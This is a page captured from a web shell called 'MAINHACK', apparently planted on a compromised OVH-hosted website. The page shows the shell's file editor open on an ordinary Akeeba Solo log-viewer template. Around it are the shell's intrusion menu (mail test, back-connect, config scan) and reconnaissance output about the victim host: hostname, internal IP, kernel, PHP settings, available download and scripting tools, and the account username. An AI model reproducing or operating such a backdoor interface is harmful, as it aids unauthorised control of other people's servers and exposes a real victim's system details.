[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: raw.blade.php
<?php /** * @package solo * @copyright Copyright (c)2014-2025 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ use Awf\Text\Text; defined('_AKEEBA') or die(); // Used for type hinting /** @var \Solo\View\Log\Html $this */ $router = $this->container->router; // -- Get the log's file name $tag = $this->tag; $logFile = \Akeeba\Engine\Factory::getLog()->getLogFilename($tag); if (!@is_file($logFile) && @file_exists(substr($logFile, 0, -4))) { /** * Bad host: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. */ $logFile = substr($logFile, 0, -4); } @ob_end_clean(); ?> <html> <head> <title></title> <link href="https://fonts.googleapis.com/css?family=Roboto+Mono&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Source+Code+Pro&display=swap" rel="stylesheet"> <style type="text/css"> body { background-color: white; color: #333333; font-family: 'Roboto Mono', "Consolas", "Courier New", monospace; font-size: 10pt; white-space: pre; } .error { color: red; font-weight: bold; } .warning { color: #f0ad4e; font-weight: bold; } .info { color: black; } .debug { color: #5e5c5d; } {{ '@' }}media (prefers-color-scheme: dark) { body { background-color: #333333; color: #c0c0c0; } .debug { color: #a0a0a0; } .info { color: #e0e0e0; } } </style> </head> <body><?php if (!@file_exists($logFile)) { // Oops! The log doesn't exist! echo '<p>' . Text::sprintf('SOLO_LOG_ERR_LOGFILENOTEXISTS', $logFile) . '</p>'; } else { // Allright, let's load and render it $fp = fopen($logFile, "r"); if ($fp === FALSE) { // Oops! The log isn't readable?! echo '<p>' . Text::_('COM_AKEEBA_LOG_ERROR_UNREADABLE') . '</p>'; } else while (!feof($fp)) { $line = fgets($fp); if (!$line) return; $exploded = explode("|", $line, 3); unset($line); if (count($exploded) < 3) continue; switch (trim($exploded[0])) { case "ERROR": $fmtString = "<span class=\"error\">["; break; case "WARNING": $fmtString = "<span class=\"warning\">["; break; case "INFO": $fmtString = "<span class=\"info\">["; break; case "DEBUG": $fmtString = "<span class=\"debug\">["; break; default: $fmtString = "<span class=\"default\">["; break; } $fmtString .= $exploded[1] . "] " . htmlspecialchars($exploded[2]) . "</span>"; unset($exploded); echo $fmtString; unset($fmtString); } } ?> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697